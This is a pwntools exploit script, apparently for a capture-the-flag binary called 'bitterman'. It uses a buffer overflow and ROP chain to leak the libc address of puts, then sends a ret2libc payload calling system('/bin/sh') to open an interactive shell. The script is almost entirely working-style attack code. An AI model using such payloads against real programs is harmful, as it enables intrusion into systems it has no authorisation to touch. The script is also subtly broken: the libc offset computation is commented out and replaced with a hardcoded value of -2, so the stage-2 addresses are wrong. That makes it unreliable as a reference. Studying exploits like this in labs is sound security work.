from pwn import *

#creates a new window with tmux term
context(terminal=['tmux', 'new-window'])
p = process('./bitterman')
#p = gdb.debug('./bitterman', 'b main') #launch gdb with bitterman already

context(os="linux", arch="amd64") #tell pwnlib what we are working with
#context.log_level = 'DEBUG'

#Stage 1
plt_main = p64(0x4006ec) #main function address
#400520:    ff 25 2a 07 20 00       jmpq   *0x20072a(%rip)        # 600c50 <puts@GLIBC_2.2.5>
plt_put = p64(0x400520) #proc linkage table put
got_put = p64(0x600c50) #global offset table put

#now we need a pop rdi address / we cant put arg in stack, need to put in register
#0x00400853 pops what's in the stack to rdi, and then returns
pop_rdi = p64(0x400853)
junk = "A"*152

#> What's your name?
#ippsec
#Hi, ippsec
#
#> Please input the length of your message:
#1024
#> Please enter your text:
#test
#> Thanks!
#ret = p64(0x400509)

payload = junk + pop_rdi + got_put + plt_put + plt_main

p.recvuntil("name?") #use pwnlib to read stdout and tell it when to pass text/vars
p.sendline("ippsec")
p.recvuntil("message:")
p.sendline("1024")
p.recvuntil("text:")
p.sendline(payload) #confirm it restarts the program and calls main func!
p.recvuntil("Thanks!")
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") #when over, program will print address to screen, this address is the address of puts in libc
#leaked_puts = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
                            #we must grab this address
log.success("Leaked puts@GLIBC: " + str(leaked_puts)) #print leaked puts location
leaked_puts = u64(leaked_puts) #unpack leaked_puts now that we have it

#Stage 2
pop_rdi = p64(0x400853)
libc_put = 0x6c380 #found using readelf -s libc.so.6 | grep puts
libc_sys = 0x426e0 #found using readelf -s libc.so.6 | grep system
libc_sh = 0x17ff68 #strings -a -t x libc.so.6 | grep /bin/sh

#offset = leaked_puts - libc_put #tells us how far away our libc_put is from leaked_puts to gather offset
offset = -2
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

payload = junk + pop_rdi + sh + sys

p.sendline("ippsec")
p.recvuntil("message:")
p.sendline("1024")
p.recvuntil("text:")
p.sendline(payload)
p.recvuntil("Thanks!")


#raw_input() #pause program till we hit enter
p.interactive()